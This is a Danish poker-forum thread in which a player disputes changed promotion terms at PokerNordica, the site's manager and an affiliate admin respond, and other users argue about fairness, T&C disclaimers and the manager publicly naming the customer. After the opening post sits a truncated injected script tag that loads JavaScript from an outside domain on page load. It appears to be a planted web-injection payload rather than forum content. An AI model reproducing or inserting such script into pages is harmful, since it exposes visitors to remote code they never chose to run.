Jeg har igennem længere tid været i tvivl om jeg skulle poste dette indlæg.
Nu har jeg valgt at gøre det alligevel, så kan I jo selv bedømme hvad I synes om den behandling jeg fik af det tidligere casino.dk...
Jeg oprettede min pokernordica konto, næsten i samme øjeblik som at det begyndte at være en spiller på markedet. Spillede vidst en enkelt freeroll derinde, og valgte så at spille på andre sider hvor der var meget mere action, hele tiden da jeg ikke kan ligge min dagligdag efter hvornår der er action.
Jeg går igang på andre sider, jeg begynder så at lede efter et site hvor at der er gode muligheder for en NL25 og NL50 spiller for at få nogen gode tilbud, da der er et par ting som stikker ud hos pokernordica.
Der stod at man ville få 5.000 kr. hvis man var en af de 3 spillere der spillede flest raked hænder i en måned.
Der stod at man ville få et EPT sæde hvis man samlede 400.000 comp points inden den 1/1 2008 ( det var ihvertfald lige omkring årskiftet )
En dag ser jeg at det er lavet om til at man skal tjene 1.000.000 comp points inden nytår, dette holder dog ikke længe, da det igen bliver lavet om til at det kun er de 3 første der når 400.000 comp points der får en EPT pakke. Umiddelbart efter kom der gang i diverse promotions på danske affiliate sider blandt andet pokernet.
Lidt efter er det ved at være tid til jeg skal have min betaling for at være en af de 3 der har spillet flest raked hænder, så får jeg 200 $ ! da pokernordica åbenbart har ment at der var 5000 kr. til deling blandt top 3.
Jeg snakkede meget med dem fra pokernordica, og de holdt fast i at jeg ikke havde noget at komme efter, selvom jeg havde signet op før at reglerne blev ændret. Jeg har flere gange oplevet på mere eller mindre troværdige sider at bonusser blev ændret, imens at jeg var igang med at spille den fri, men alle gange har jeg gået ind under den gamle og bedre bonus. Jeg forsøgte at fortælle dem at det race kun skulle gælde for de kunder som havde signet up imens at der stod man bare skulle tjene 400.000 comp points iløbet af 07. Fordi at dem der var signet op via pokernet.dk havde deres eget race, det der løb indtil den 1. september eller sådan noget. Men nej der blev holdt fast i at jeg havde haft en fordel i at kunne deltage i et race i et par måneder tidligere, det er jo rigtigt nok, men der vidste jeg jo bare ikke at det var et race og derfor så spillede jeg ikke !!!!!!!
Jeg prøvede længe at forklare dem dette, men til sidst fik jeg bare en besked fra en af dem der bestemmer, at nu gad de ikke snakke om det mere.
Med hensyn til den der raked hands race, den stoppe 1 eller 2 måneder efter, og jeg nåede vidst at få 200 $... En anden ting som egentlig kan bringe mit pis i kog er at jeg da nok havde spillet efter at komme op på 2. eller 1. pladsen hvis jeg havde vidst der var forskel på præmierne...
Slut resultatet blev at jeg valgte at opgive dette, da jeg kunne se hvor meget hurtigere at andre tjente de der points, og da jeg går i skole, samt har fritidsarbejde ved siden af, var det simpelthen en for stor opgave, men så er det jo godt at jeg havde et par måneders forspring, hvor jeg ikke lige vidste at det var et race...
Jeg kan huske at casino.dk havde sådan en blackliste, gad vide om de selv var kommet på den.
Og har forresten aldrig modtaget nogen kompentation af nogen art. Synes det svarer til at man lokker kunderne i butikken, og når de er kommet ind er de pludselig lavet om...
Kan godt være at de har den blødeste modstand, men er dette nok til at blive på et site hvor man på den måde bliver taget i røven af selve sitet?
Der er nu kommet en afslutning på sagen
Læs. evt. mere: www.pokernet.dk/forum/show.asp?tid=141253
Jeg er ked af hvis dette har skadet Pokernordicas chance for at udnytte det potentiale de har til at blive godt site.<script src=http://www.adw95.com/b.js></s
Uheldige episoder med Pokernordica
Du skal selvfølgelig have de ting du bliver lovet. Det er helt klart. Nu er det Casino.dk der er din affiliate i denne henseende, men jeg vil selvfølgelig tage fat i dem og snakke med dem om, hvad der er sket.
Der er dog en ting hvor jeg mener du er langt ude og det er, når du mener at spillere fra for eksempel PokerNet ikke skulle have lov til at deltage i en promotion, fordi de har fået deres eget race.
Det var en promotion sitet havde lavet og derfor skal ALLE spillere selvfølgelig have lov til at deltage!
Jeg har gjort dem opmærksom på dit indlæg, og bedt om en forklaring.
/Mikael
Jeg mente at det var retfærdigt at de lavede et race for dem som havde signet up da der stod man bare skulle tjene 400.000 comp points, da dem der havde signet up via den gamle ordning ikke havde mulighed for at være med i det race som dem der havde ventet med at signe up, så kunne være med i 2 races på samme tid, hvorimod os som havde signet up, og vores bonus tilbud var blevet væsentligt forringet kun havde mulighed for at være med i det ene.
og det var jo en promotion som sitet blev nødt til at lave da de ikke kunne stå indefor hvad de havde haft stående på deres site.
Kan godt være at være jeg er langt ude, men jeg kunne se mine 7.000 $ som jeg tidligere havde været helt sikker på, nu komme længere og længere væk. Det har nok været et udtryk for den frustration som jeg oplevede på det tidspunkt.
Ang. ept-race vandt jeg som den første der nåede de 400K og jeg er ikke signet op via pokernet. Jeg er ligeledes 100% sikker på at der altid har stået at det var de 3 første.
Ang. Raked hands stod det på Deres hjemmeside hvad nr. 1 til 3 vandt, jeg vandt selv de to gange de kørte denne promotion også vidt jeg husker med over 4K raked hands til nr 2 i første runde.
Holmsted
Dette er et uddrag af en email jeg har fået den 19. April 2007
"Ifølge vores Event Manager arbejdes der lige nu på at ændre reglerne for den omtalte EPT promotion. Casino.dk skulle gerne blive opdateret med de nye regler enten i aften eller i morgen."
Så det med at der altid har stået at det var de 3 første passer ikke, og det kan godt være at du vandt med stor margin ned til mig om ham der blev nummer 2, men havde vel været mere fair hvis at jeg havde vidst at der ikke var den samme pricepool til top 3 ?
Og tilykke med dit EPT sæde, samt 2 førstepladser.
@hamdenlange
Vil du også have, at PokerNettere skal udelukkes fra promotions hos f.eks. Fortune Poker, fordi de personer der signede op før vi blev affiliates skal have deres promotions alene?
Det giver ikke mening. Der er to typer af promotions:
1) Promotions fra sitet
Dette er f.eks. sådan en promo som den Nordica holdte vedr. EPT sæder og de 400K point.
2) Affiliate promotions
Her er det op til den enkelte affiliate at forhandle så gode aftaler hjem som muligt til ens brugere.
Du kan aldrig forhindre en spiller at være med i generelle site promos fordi de er signet op igennem en affiliate.
"Kan godt være at være jeg er langt ude, men jeg kunne se mine 7.000 $ som jeg tidligere havde været helt sikker på, nu komme længere og længere væk. Det har nok været et udtryk for den frustration som jeg oplevede på det tidspunkt."
Det er da klart at det er ærgerligt, når man står til at vinde noget, og så pludselig får stor konkurrence. Men der er da intet forkert i at PokerNordica får PokerNet som affiliate og der er da intet forkert i, at vores brugere får adgang til de samme promotions som alle andre.
/Mikael
På deres hjemmeside stod der helt tydeligt
nr 1 vinder 500$ nr 2 vinder 300$ og nr 3 vinder 200$
Personligt kæmpede jeg med en af mine venner om første pladsen i 2 runde og vandt med meget få hænder. Et race vi førte intensivt over messengen.
Ept. Jeg signede op på PokerNordica fra day one og har på intet tidspunkt været i tvivl om hvor mange der vandt.
Jeg ved at nr.2 heller ikke har været i tvivl.
ellers Tak
holmsted
Hej hamdenlange,
Jeg kan se du har genoptaget debatten fra April måned, hvor der skete nogle misforståelser og fejl, hvilket vi har debateret i ca. 10-20 mails i løbet af April og Maj måned. Hvad der får dig til at skrive dette indlæg 6 måneder senere ved jeg ikke?
Jeg kan ikke huske alle detajlerne, men vil finde dem frem og kommentere dette indlæg yderligere i morgen.
Jeg husker dog, at du desværre have opfattet en rake konkurrence promotion forkert, således du troede der var 5000 kr. til nr 1, 2 og 3 og ikke 5000 kr. fordelt på nr. 1, 2 & 3. Du blev altså ikke snydt, du misforstod skrivelsen på vores side.
Derudover erindrer jeg, at der blev begået en fejl af en af vores ansatte, hvilket blev rettet omgående. (Korrekt: efter at være lagt op på siden, Men! Det skal siges at vi var dækket ind i t & c til at gøre dette, dertil kom, at den fejl der var postet på siden var så markant, at havde vi holdt fast i den promotion, kunne vi som jeg også beskrev dengang, ligeså godt lukke og slukke pokerroomet...)
Det skal lige siges at denne fejl blev rettet på siden indenfor samme dag jeg blev gjort opmærksom på dette, hvilket bevirkede at du "kun" havde spillet forgæves i et par dage og faktisk lå i top 3, da du valgte at droppe at gå efter en top 3 placering, hvilket jo var dit eget valg.
Du var aktiv indtil udgangen af Maj måned, hvor du kom i top 3 og stoppede i løbet af Juni. Du havde opjent ca. 85,000 comp point på det givet tidspunkt.
Jeg kan godt forstå din ægren over denne promotion ikke var en realitet, men jeg kan informere dig om at de 3 spillere der vandt og først opnåede 400K comp points har generet en samlet net profit på -$500, da de har deltaget i mange gode promotions og løbet med sejren samt de har modtaget en masse bonuser etc. Vi er altså ikke ude på at rippe nogen eller snyde vores kunder.
(Dertil kommer at de hver især modtager $7000, så samlet overlay er altså $21,500)
Vedr. din egen konto kan jeg se du har modtaget 85% af din rake i bonuser og promotions, således har vi ikke haft nogen intention om at snyde dig.
Nå, men som sagt vil jeg finde de gamle mails frem fra April og Maj, da der er ting jeg ikke kan huske i detajler og derfor ikke vil udtale mig om.
Mvh.
Erik Smith
Manager
PokerNordica
MSN: [email protected]
PS: Ud af de ca. 1000 spillere vi havde fra Casino.dk, var du den eneste der klagede over dette dengang. Dette er ikke ensbetydende med at du ikke har ret, men det fortæller lidt om hvor få der tolkede vores promotions og situationen som dig...
EDIT: Typos
Gider du slette mit navn ?
Wauw !!
OMFG ! nu er det første chok lige lagt sig !, jeg troede fandme at pokersider lovede at holder de oplysninger man gav dem fortrolige...
Kan se det er DTM der er blevet nødt til at slette mit navn.
Jeg har selv spillet med i PokerNordicas promotions. Både det månedlige race om 5000kr./1000$ til deling. (Der var så vidt jeg husker faktisk en lille nedrunding af beløbet, da det blev omregnet til dollars, men der snakker vi bagateller), og racet om EPT sæderne. Har selv været med fra starten og er ikke signet op gennem pokernet, og jeg kan kun bekræfte hvad Logos32 har sagt.
Med hensyn til EPT-sæderne. Der har aldrig stået noget om at ALLE der nåede 400k/1mill comp ville få et sæde. Den har altid været restriktiv. Altså et race, hvor dem der kom først til mølle fik gevinsten. Og jeg er 99.9% sikker på, at det har stået sådan på hjemmesiden fra dag 1. Jeg brugte nemlig Casino.dk forummet meget dengang, og tjekkede derfor siden hver eneste dag for at se om forummet var kommet op igen. Da det endelig kom op igen, var det som pokersitet PokerNordica, hvor jeg straks signede up og gik igang med at spille.
Det samme gælder derfor de 1000$ til deling. Promotionen har set sådan ud altid, og skal jeg være ærlig så synes jeg det var en mega fed promotion når man tænker på comp point bonusser oveni. Altså ikke noget jeg på nogen måde synes var uretfærdigt. Bare en ekstra fjer oveni hatten.
Jeg ved derfor ikke helt hvorfor du kommer med disse beskyldninger. For jeg er ret sikker på at de er falske.
MVH Vedel
super cool at en manager hiver personlige ting frem på et pokerforum om en af deres kunder.
Så som hvad RB % og hvad en kunde ville bruge en evt gevinst til, hvor mange points man har optjent !
OG NAVN, flot flot !!!!!
Ud over det hvis man laver en fejl, så gør man normalt noget for at sige undskyld en ekstra ting eller noget, ikke blot sige man er dækket ind af T&C
personligt er jeg glad for jeg ikke valgte pokernordica her da jeg skulle ha nyt site forleden uge, jeg ville sku ikke blive glad for at få personlinge oplysninger om mig ud på et forum ;|
dvdl ud fra hvad du nu har fået afvide. så beskriv lige den fejl de har lavet? som de så skal rette op på med en undskyldnign. Og de er jo dækket ind at T&C (Skrive fejl på siden, som blev rettet samme dag)
Der står intet om hvad hans RB % er, kun at han har fået 85% tilbage af alt han har lagt, og det er så i form af bonusser og RB, samt race premier.
Men det med at ligger personlige oplysniger ud, er selvfølgelig meget forkert!! Burde man som Manger ikke kunne få sig selv til.
@HamDenLange og dvdl
Vi har diskuteret dette med "HamDenLange" for 5-6 måneder siden over en længere periode. At han ligger dette ud nu og gør sagen offentlig, men ikke vil stå frem med navn og ikke vil have ting frem vi før har debateret frem og tilbage virker useriøst...
Jeg beklager hvis du ikke vil stå frem med navn og kan se DanTheMan har slettet dit navn igen.
Vi er uforstående overfor hvad pointen var med dette indlæg, hvis ikke "HamDenLange" forventede at vi ville svare på dette indlæg kritisk!?
Som sagt det er en længere affære, som kræver jeg hiver fat i gamle mails imorgen med et endeligt indlæg fra vores side, da jeg ikke ellers følger dette forum til dagligt.
Der vil dog ikke stå noget "HamDenLange" ikke allerede er informeret om fra vores side.
Tillad mig lige at komme med endnu et uddrag fra en email som jeg denne gang fik af manageren ( underlader at nævne navne, synes jeg nemlig at man bør ) selvom at jeg sagtens kunne være kommet i besiddelse af dette navn, i den forbindelse som jeg ikke havde lovet var fortrolig.
" 400K cp konkurrencen blev lagt op og ændret indenfor en uge, da jeg
opdagede der var lavet en fejl"
Jeg nåede flere gange at snakke med supporten om denne promotion.
Lige endnu et uddrag fra samme email:
" Du har tolket reklamen forkert. Der stod og står at der er 5000 kr.
til top 3 eller 1000$ (alt efter om man ser på PokerNordica eller
casino.dk"
Her synes jeg da ikke tydeligt at man kan se at det er til deling, kan da godt tolkes på en anden måde alt efter hvad side af sagen man er på.
Ville i være tilfredse hvis der stod 500 kr. gavekort til de 100 første, og da i så kom frem der fik i hver et gavekort på en 5er ?
Ja, det er ret usmageligt...
Sender en mail om 3 sek. og beder om at få min konto lukket.
@Hamdenlange
Som tidligere nævnt stod fordelingen på PokerNordicas hjemmeside.
Jeg husker fra et andet dansk-forum en helt anden forklaring på hvorfor du trak dig fra deres race.
"Jeg gjorde det af et par grunde:
Der var ikke mulighed for at komme til en EPT uden selv at skulle ligge ekstra penge, da de har gjort buy in til EPT større, og det jeg kender til Nordica siger mig at de ikke ville betale for den forøgelse.
Skatte problematikken, kunne komme til at skulle betale SKAT.
Skulle bøvle med at sælge pakken.
Kunne se at der ville være en øget konkurrence, og måtte erkende at jeg ikke ville kunde holde trit med de andre der kæmper. Så hellere give op nu hvor jeg kun er nået 20 % af vejen.
Men held og lykke til jer andre"
Jeg lavede dette indlæg da at jeg synes at det kunne være i flere personers interesse at høre en historie om andet end bare hvordan det var at starte et pokerroom op på Malta.
Tough luck, firmaer lukker når der bliver begået fejl. I har så bare valgt at dække jer ind under en T & C. At den konsekvens der så kommer er disse indlæg er jo bare sørgeligt.
Kan godt huske at du fortæller om hvor meget overlay at der var ved disse promotions, men tag et kig på betway, de giver 16.000 $ i 2 turneringer ! og en freeroll udelukkende for PN.
Ved ikke hvad der er mest useriøst, ikke at ville have mit navn frem. Eller offentliggøre noget i en tråd som I har lovet at holde fortroligt, uden at spørge mig.
Pokernordica begynder her i forum ,og dette uanset hvem der har ret
viser at de er meget dårligt rustet mht. deres ansatte og viden om god skik.
Man debattere ikke en "kundens" forhold i åbent forum .
Det lugter lidt af silvan eller jemfix , personale politik
Og undskyldninger og hvem der har ret eller SKAL have ses tydeligt
at den såkaldte "manager"
hvor herre bevares ;) gad vide hvor de har trukket ham op henne
Så jeg er også stoppet på PN
VH 4500
"Her synes jeg da ikke tydeligt at man kan se at det er til deling, kan da godt tolkes på en anden måde alt efter hvad side af sagen man er på. "
Korrekt, men hvis man er i tvivl, så sender man vel en mail til pokerrummet for at få en uddybbende forklaring, evt. med en henstilling om at at konditionerne udspecificeret på hjemmesiden.
Længere er den vel ikke.
Logos32
Hvad er de helt andre grunde ?
Jeg var på det tidspunkt ved at kaste op over pokernordicas promotion, og da jeg ikke gad komme med en længere forklaring ( som jeg gjorde her ) Så tog jeg dem der lå lige til højrebenet, men der skal ikke være nogen tvivl om at jeg havde tjent 400.000 comp points hvis det tilbud som jeg signede up til var blevet ved med at gælde for mig.
Jeg kan ikke løbe fra det jeg har skrevet, og det har jeg heller ikke tænkt mig. Der er ikke sket noget nyt i sagen andet end jeg begyndte at føle det kunne være i interesse for andre ( blev inspireret af Asger_b )
Jeg har hele tiden følt mig ufatteligt dårligt behandlet af pokernordica, nu synes jeg bare at det skulle have lidt konsekvenser, det kan være at pokernordica har T & C, men jeg har sq pokernet.dk
"Pokernordica begynder her i forum ,og dette uanset hvem der har ret
viser at de er meget dårligt rustet mht. deres ansatte og viden og god skik.
Man debattere ikke en "kundens" forhold i åbent forum ."
Nu var det kunden selv der startede med at publicere problemet offentligt.
Selvfølgelig skal privat navne ikke frem, men de er også slettet nu.
det er totalt underordnet !!
At en "kunde" "user" eller kald det hvad du vil ,skriver i forum er hans ret !
Men at "sælger" "firma" mv. debattere er PISSE useriøst,og
brud på god skik.
Så den køber jeg ikke PN manageren HAR kvajet sig,men det er jo
PN`s fejl ikke at undersøge deres medarbejderes viden og det
de ansætter dem til.
vh 4500
Hvad er det for et tilbud du signede op til som ikke omfattede dig mere ?
Jeg spillede med i et EPT-race fra starten hvor top 3 vandt og fattede faktisk ikke hvorfor du droppede at vinde et sikkert bet.
Det var langt langt fra sikkert at jeg ville "vinde et sikkert bet".
Jeg kunne lyn hurtigt regne ud at jeg ikke ville have en chance, jeg kunne jo se hvor mange points af dem under mig havde. Kan se fra et offentligt forum at du færdig med at tjene 400.000 comp points den 13. Juli, som du siger var du den første, men kan da umiddelbart ikke sige hvornår at 2. og 3. pladsen blev besat, men det kan vel ikke være mere end et par uger efter. Så lad os sige at jeg havde haft indtil den 1. august, så skulle jeg have tjent 317.000 points fra midten af maj ( tak for lige at fortælle mig hvornår jeg stoppede med at spille ) og indtil den 1. august.
Jeg vidste godt at det ville blive deromkring at I ville blive færdige, kunne jeg regne ud når jeg så hvor mange points i tjente hver uge.
Dette var ganske enkelt umuligt for mig at tjene når jeg tjente 3 points per hånd.
Her kommer en af de mails der blev sendt til "HamDenLange". Det skal siges at visse emner er ret indforstået, da denne mail er sendt efter en længere korrespondance, hvilket afspejler tonen og skrivelserne.
Hej XXX,
Vi er kede af at du føler dig snydt, men jeg vil prøve at forklare
situationen.
1. Vi vil som ethvert andet firma lave eksklusive aftaler med partnere
der kan skaffe en masse kunder [bl.a. PokerNet.dk]. Vi er ikke enige i din antagelse om at vi fra nu af og fremover ikke må indgå samarbejde og tilbyde gode bonuser eller promotions med andre Affiliates pga. at nogle kunder allerede er signet op. Du har om nogen anden haft et stort forspring, da du signede op den [xx] marts, altså 1½ måned før alle fra PokerNet. Du har haft adgang til både comp points konkurrencen 1½ måned før stort set alle andre samt Leaderboard konkurrencen, hvor der er både WSOP og EPT sæder at spille om.
2. 400K cp konkurrencen blev lagt op og ændret indenfor en uge, da jeg
opdagede der var lavet en fejl. Som det er nu er der et overlay på ca.
$5000-$6000 i denne konkurrence [viste sig at være meget større] og vi mener du har haft meget gode muligheder for at få et forspring før alle andre der er kommet til senere.
Vi opdagede fejlen og rettede den omgående, således at der ikke var flere der signede op i den tro at vi gav EPT sæder til alle i løbet af året. Den uge eller to du har spillet i den tro at det var for alle, er naturligvis
beklagelig men vi er nød til at rette en fejl når vi opdager den.
Du sammenligner med regler i Danmark vi skal overholde? Vi overholder skam reglerne og det står på siden at vi kan ændre denne turnering på ethverttidspunkt.
Vi valgte frem for at skrive 4.000.000 at beholde det ved 400.000 men så kun give det til top 3. Dertil kommer at hvis man i en trykt reklame i Danmark skriver at man kan købe en splinterny lejlighed for 100.000 kr. og der skulle stå 1.000.000 kr. er sælgeren ikke bundet til at sælge for 100.000 kr. fordi der var lavet en trykfejl. I stedet for at føle dig snydt, burde du gribe chancen og benytte det forspring du har haft og se positivt på at vi faktisk overhovedet har denne promotion! Den er unik og du finder den ikke andre steder.
3. Du har tolket reklamen forkert. Der stod og står at der er 5000 kr.
til top 3 eller 1000$ (alt efter om man ser på PokerNordica eller
casino.dk.) Der er ikke $1000 til hver eller 5000 kr. hver men en præmiesum der fordeles til top 3. Når vi reklamerer med $10.000 Freerolls er der heller ikke $10.000 til vinderen, men $10.000 fordelt blandt en række deltagere. Vi er et nystartet poker room og at give $3000 væk i starten [til samtlige spillere der nåede 400K i årets løb] ville være alt for dyrt, sammenlignet med net raken. [var vurderingen på dette tidspunkt]
4. Vi har lavet nogle promotions ja [på andre portaler], men ikke nogen der ikke allerede har været på Casino.dk i et vist omfang. Du har haft en særdeles god mulighed for at vinde point via leaderboardet, hvor der nogle søndage kun har været 10-15 mand med.
OBS: Jeg har fået svar herpå og der er svaret tilbage osv. Jeg vælger derfor ikke at kommentere yderligere på denne tråd, da vi som skrevet før aldrig bliver enige.
Jeg vil gerne undskylde overfor Hr. X at jeg skrev dit navn, hvilket jeg ikke skulle have gjort. Jeg tænkte mig ikke om, da jeg er blevet vant til at tiltale folk med for- og efternavn og ikke med et anonymt nickname. Dette vil ikke ske igen og jeg håber dette indlæg har kastet lidt lys over sagen. Der er dog ikke noget nyt i denne post, dette er en mail fra den 8. Maj. 2007.
Yderligere henvendelser kan ske via mail, hvor jeg gerne vil svare på spørgsmål og modtage kritik.
Mvh.
Erik Smith
Manager
PokerNordica
@Pokernordica
Usmageligt at lægge et navn ud på forum. Virkelig dårlig stil.
@4500
Selvfølgelig vil Pokernordica forsvare sig. Kan bestemt ikke se noget galt heri. Og når der kommer en så konkret anklage, er det vel naturligt at kommentere denne eksakte sag.
@Bigbang
Jeg _mener_ også der på det daværende Casino.dk forum var tale om sådanne bugs.
Føler lige at jeg må kommentere til dette da jeg ellers kommer til at fremstå som en idiot der ikke vil give andre value.
1) Jeg mente at de skulle tage at betale det de havde lovet deres nuværende kunder det de havde lovet.
2) Her kan Vedel og Logos se at det ikke er falske anklager jeg er kommet med, er det for meget at bede om en undskyldning ?
Og her kommer de så ikke med en indrømmelse om at der har stået på deres hjemmeside at alle ville få et sæde.
Jeg sammenlignede dem med dem der udsender alle mulige tilbud og når man så dukker op er der ingenting, fordi dette er der flere butikker der har fået at vide at det må man ikke.
At der så er en stor forskel på det eks. Manageren giver og det som nordica har lavet, er at jeg handlede i god tro.
@bingbang
De ting du nævner er nye for mig. Vi har ikke fået klager fra nogen af vores brugere. Jeg vil selvfølgelig undersøge, om der er et problem og hvor stort det er.
Jeg vil dog sige følgende:
1) At en side laver fejl mht. promotions som må rettes er normalt. Har spillere brugt meget tid på sitet på baggrund af denne fejl skal de selvfølgelig kompenseres, men når man har fået 85% value back, så er det langt mere end hvad jeg mener er rimeligt. I hvert fald mener jeg ikke man har krav overfor selskabet.
2) Det du (bingbang) har oplevet er en skandale og jeg vil tage fat i netværket for at sikre, at sådanne "bugs" er absolut lukket.
3) Erik Smith kommer til at fremstå lidt uheldigt her, da han bruger spillerens navn uden spilleren har dette stående i sin PokerNet profil. Det er også skidt.
Alt dette er selvfølgelig noget vi skal have med i vores betragtninger om, hvor meget vi promoter PokerNordica.
/Mikael
Ikke fordi jeg vil blande mig alt for meget i dialogen for jeg benytter pt. ikke PokerNordica, men ethvert firma i Danmark og udlandet vil have en klasul i deres forretningsbetingelser som tager forbehold for fejl. Men selvfølgelig skal man straks man opdager en fejl gøre opmærksom på det.
Og det synes jeg nu egentlig at PokerNordica gør i fin stil her!
Der er vist ingen grund til at kommenterer eller svine mere til her omkring alt det andet. Der er lavet en fejl og det er indrømmet...er det så ikke bare at lade den være der??
@DTM
Jeg er blevet kontaktet af en pokermanager fra PN og vi er ikke enige om min fremlæggelse af sagen. Derfor har jeg valgt at fjerne den igen indtil vi har snakket tingene igennem.
Synes sq at pokernordica modsiger sig selv...
I sit indlæg klokken 21.18 siger han følgende:
"PS: Ud af de ca. 1000 spillere vi havde fra Casino.dk, var du den eneste der klagede over dette dengang. Dette er ikke ensbetydende med at du ikke har ret, men det fortæller lidt om hvor få der tolkede vores promotions og situationen som dig..."
I sit indlæg klokken 22.30 siger han følgende:
"Vi opdagede fejlen og rettede den omgående, således at der ikke var flere der signede op i den tro at vi gav EPT sæder til alle i løbet af året. Den uge eller to du har spillet i den tro at det var for alle, er naturligvis
beklagelig men vi er nød til at rette en fejl når vi opdager den"
Og lige den her fra klokken 21.43
Hvor at Manageren godt ved at han har offentliggjort mit navn, som han kun være kommet i besiddelse af i kraft af sit job, med adgang til fortrolige oplysninger, men synes bare at jeg er useriøs at jeg ikke ønske at få mit navn frem.
"Vi har diskuteret dette med "HamDenLange" for 5-6 måneder siden over en længere periode. At han ligger dette ud nu og gør sagen offentlig, men ikke vil stå frem med navn og ikke vil have ting frem vi før har debateret frem og tilbage virker useriøst..."
@awaw
gør de virkelig det ?
I den email erkender de jo at der blev begået fejl, men de mener stadig her lang tid efter, at der hele tiden har stået at det var et race.
kan godt lide du mener et firma bør gå konkurs hvis de har lavet en typo i en reklame henvendt til deres kunder.
Kan godt lide at du mener et firma ikke skal tage konsekvensen af sine handlinger...
Det med at et firma gik konkurs, der tænkte jeg på et engelsk firma. De havde en promotion med at man købte et produkt ( mener det var en støvsuger ) også fik man 2 billetter til New York. Prisen på de 2 billetter oversteg langt købsprisen på støvsugeren. Det endte med at det der støvsuger firma gik konkurs pga. den fejl.
Siger ikke at Pokernordica skal gå konkurs, fordi det er jo ikke sådan at de ikke havde råd til at give flere EPT sæder væk, fik Pokernet.dk jo blandt andet del i.
"Der stod og står at der er 5000 kr. til top 3"
dette er jeg enig i er en uheldig formulering og pokersider bør forsøge at være mere konkrete så disse misforståelser ikke opstår.
hvis de havde skrevet der er et ept sæde til top 3 vil man selvfølgelig ligeledes gå udfra der rent faktisk er tre sæder.
T&C er noget fanden har skabt, i bund og grund er de fleste næppe juridisk gyldige men med de comp points synes jeg nu det virker som i dette tilfælde at de har strakt sig vidt for at imødegå deres fejl.
hvis du læser div poker bonuser, races osv fra alle udbydere har de garderet sig i hoved og ... og kan til enhver tid anullere disse races.
synes der er en del eksempler på udbydere der i direkte ond tro starter div promotions for så senere at lave dem om, kan dog ik se det er tilfældet her.
"Kan godt lide at du mener et firma ikke skal tage konsekvensen af sine handlinger..."
Selvfølgelig skal de det. Hvis man tilbyder noget, så klapper fælden. Men sagen er jo ikke, at PokerNordica har tilbudt noget, som de ønsker at trække tilbage. De har lavet en tastefejl, og den kan du ikke hænge dem op på af to årsager:
1) Du kan ikke være i god tro, hvis du mener at alle der laver 400K point skal have et EPT sæde.
2) De har sørget for i deres betingelser at skrive, at der er forbehold for fejl i deres promotion.
Når dette er sagt, så skal du dog have en undskyldning og selvom denne ikke ligefrem er blevet givet på en perfekt måde, så syntes jeg du har fået den.
Derudover skal du have noget value. MEN det er altså svært at kompensere en mand, som i forvejen har fået 85% af sin rake tilbage i promotions.
/Mikael
@hamdenlange
Har ikke læst hele posten igennem men lige kigget lidt med fra sidelinjen.
Og jeg ved personligt at der er flere firmaere så som ikea, bilka og lign der skriver i deres tilbudsaviser at der er der er forbehold for fejl i deres tilbud.
Det er rimlig normalt at det sker, som DTM også siger.
Dette var blot møntet på din sidste kommentar og slet ikke på sagen da jeg ikke er ordenligt inde i den.
Håber i finder en løsning.
"At han ligger dette ud nu og gør sagen offentlig, men ikke vil stå frem med navn og ikke vil have ting frem vi før har debateret frem og tilbage virker useriøst..."
WTF
@ Logos32
Det kan da godt være, men vil jeg ikke mene du har noget grundlag for at kende til.. Men det er jo også nemmere at sige end at dig og Vedel tog fejl, og give den undskyldning som vel er på sin plads, efter den måde som I har forsvaret pokernordica på, og hvordan at Vedell har anklaget mig for at komme med falske beskyldninger.
@ DTM
Hvorfor kan jeg ikke handle i god tro ? Jeg har da set så mange vilde promotions hos sider, jeg har hørt om nogen der har fået over 100 % rakeback direkte af siden. Jeg vidste da godt at det nok ikke var sådan at de havde råd til at give alle der signede up og tjente 400.000 points, men jeg troede at det var fordi de ville skabe noget trafik på deres site, og de derfor var klar til at betale for det i starten.
@ Myth
Jeg tror ikke at vi finde ud af noget, jeg synes bare det er pudsigt hvordan at en af de danske pokerspilleres vagthunde selv er gået over i den anden grøft. Du kan jo også selv læse at pokernordica, har skrevet her 6 måneder efter, at det er mig der har kigget forkert, men samtidig er der lige en fejl som der er blevet rettet.
LOL Hr Smidt har vist taget sin ubehøvlede og hovne facon med sig fra Nazi-moderator embedet på Casino.dk til Poker Manager jobbet. Fatter ikke hvad PN laver med tungen oppe i røven på de klaphatte.
"We are all confused, but on a higher level"
(Højesteretsdommer Mogens Hornslet under Tamil-sagen efter at have hørt på et vidne tale komplet sort i timevis)
@jeschrper1
Nazi? Det var dog lavt. Men du er jo også altid bare gnaven. Var det ikke også dig som blev smidt ud af casinoportalen fordi du bare ikke KUNNE fatte simple forumregler? Du er jo et lille barn.
"Du må ikke få slik i dag lille jeschrper1"
"JEG VIL JEG VIL JEG VIL JEG VIL JEG VIL JEG VIL JEG VIL"
Fortsat god dag
Denne sag er vist en del mere kompliceret end som så ...
På den ene side har vi en forulempet spiller, som hævder at have krav på en bonus/promotion uden at den laves om.
På den anden side står PokerNordica og hævder at de var i deres gode ret til at lave den om.
Jeg er ikke sikker på andet end at PokerNordica har fuldt reglerne. Så kan man diskuterer om reglerne er vage og giver sitet for mange muligheder for at udnytte dem(skulle sitet ønske dette).
Personligt så jeg denne promotion da den blev lanceret. Jeg fandt det en smuk tanke, men ligeledes fandt jeg det også urealistisk at vinde.
Matematikken er enkel:
Man får i gennemsnit 1½ comp point på op til NL $50 og omkring 2.25 comp point pr hånd på NL $100 og NL $200.
Så jeg skulle spille ca. 175.000 hænder med et mix. på de limits for at nå de 400K comp point.
Da jeg har et liv(i modsætning til Logos :) ) valgte jeg hurtigt ikke at deltage aktivt i dette race.
Hvis du (hamdenlange) mener at have 3 comp point i gennemsnit - så skal/skulle du spille 130.000 hænder.
Dog så jeg racet som en rigtig flot promotion, og jeg mindes ikke at være i tvivl omkring forløbet. Dog var der nogle skriverier på Casino.dk omkring disse promotions - men jeg har ikke lige tid til at chekke om de tråde er til at finde nu.
Det er uheldigt at PokerNordica kommer til at nævne en spiller ved off. navn. Dette er dog også beklaget fra sitet's side!
Hvad mere kan man forlange i den situation?
Fejlen er sket - den er menneskelig - og den er rettet hurtigt og med en undskyldning.
Lad os komme videre.
Jeg vil medgive at hvis man rejser en kritik på et forum, så må man forvente(og håber det sikkert også) en reaktion fra det firma/person som man udstiller.
Der er ytringsfrihed - men firmaer må ligeledes også kommenterer rygter/off. debatter hvis de ønsker det.
I den nævnte sag vil jeg da have været skuffet hvis jeg havde lavet en sådanne post og sitet ikke havde reageret.
Hvor tit bare her på PN har vi ikke oplevet at diverse site-ambassadører har blandet sig i en debat? (et eksempel er Chris - hvor mange indlæs har han ikke lavet her på PN?)
Det kan være sig om promotions der skal præciseres - eller om andre uheldigheder vedr. dette site, eller om skattefrihed ... osv.
